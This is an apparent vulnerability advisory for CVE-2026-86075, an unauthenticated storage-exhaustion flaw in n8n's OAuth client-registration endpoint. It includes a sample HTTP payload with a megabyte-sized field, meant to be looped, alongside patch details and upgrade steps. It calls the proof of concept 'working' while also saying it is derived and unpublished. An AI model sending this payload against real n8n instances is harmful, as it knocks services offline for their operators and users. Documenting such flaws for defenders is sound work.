highCVE-2026-86075Sep 10, 2026

CVE-2026-86075: n8n Unauthenticated Persistent Storage Exhaustion via OAuth Dynamic Client Registration

Rohit Hatagale
AI Security Researcher, SecureLayer7

Any unauthenticated attacker can crash an n8n instance by spamming the OAuth client-registration endpoint with oversized field values, filling the database until the service stops working.

Packagen8n
Ecosystemnpm
Affected>= 2.38.0, < 2.38.2
Fixed in2.38.2
CVE-2026-86075: n8n Unauthenticated Persistent Storage Exhaustion via OAuth Dynamic Client Registration

The problem

n8n versions 2.38.0 through 2.38.1 (and below 2.37.7 on the 2.37.x line) expose an OAuth Dynamic Client Registration endpoint that requires no authentication.

The endpoint validated field sizes only for redirect_uris. The client_name and grant_types fields had no length or count caps, so any caller could submit megabyte-sized strings or arbitrarily long arrays. Every registration was persisted to the oauth_clients table, so repeating the request exhausted database storage without any account on the instance.

Proof of concept

A working proof-of-concept for CVE-2026-86075 in n8n, with the exact payload below.

http
# Send once to register one oversized client; loop this to exhaust storage.
# client_name: a 1 MB string that bypasses the absent length check.
# grant_types: a large array of repeated valid-looking entries, well beyond
#   the handful of grant types n8n actually supports.

POST /mcp-oauth/register HTTP/1.1
Host: <n8n-host>
Content-Type: application/json

{
  "client_name": "AAAAAAAAAA...(1 MB of 'A')...",
  "redirect_uris": ["https://attacker.example/cb"],
  "grant_types": [
    "authorization_code", "authorization_code", "authorization_code",
    "refresh_token",      "refresh_token",      "refresh_token",
    "client_credentials", "client_credentials", "client_credentials"
    /* ...repeated thousands of times... */
  ]
}

Before the patch, oauth-server.service.ts only checked that client_name was present and that grant_types was a non-empty array. It introduced no upper bound on either. The patch added the constants MAX_CLIENT_NAME_LENGTH (capping client_name to the column length) and MAX_GRANT_TYPES (limiting the array to the count of grant types the server actually implements), rejecting requests that exceed either limit before any database write occurs.

This is a textbook CWE-770 (Allocation of Resources Without Limits or Throttling): no authentication was required, no rate-limit blocked repetition, and each accepted registration wrote unbounded data to disk. The default n8n request-body limit of 16 MiB made each single request capable of writing several megabytes per call.

Public PoC not yet available; payload derived from the advisory description and the named patch constants in the diff.

The fix

Upgrade to n8n 2.38.2 (or 2.37.7 on the 2.37.x line). The patch in packages/cli/src/modules/oauth-server/oauth-server.service.ts enforces MAX_CLIENT_NAME_LENGTH and MAX_GRANT_TYPES before persisting any registration. If an immediate upgrade is not possible, place the instance behind a reverse proxy with a strict request-body size limit and restrict network access so only trusted clients can reach the OAuth registration endpoint.

Reporter not attributed.

References: [1][2][3][4][5]

Related research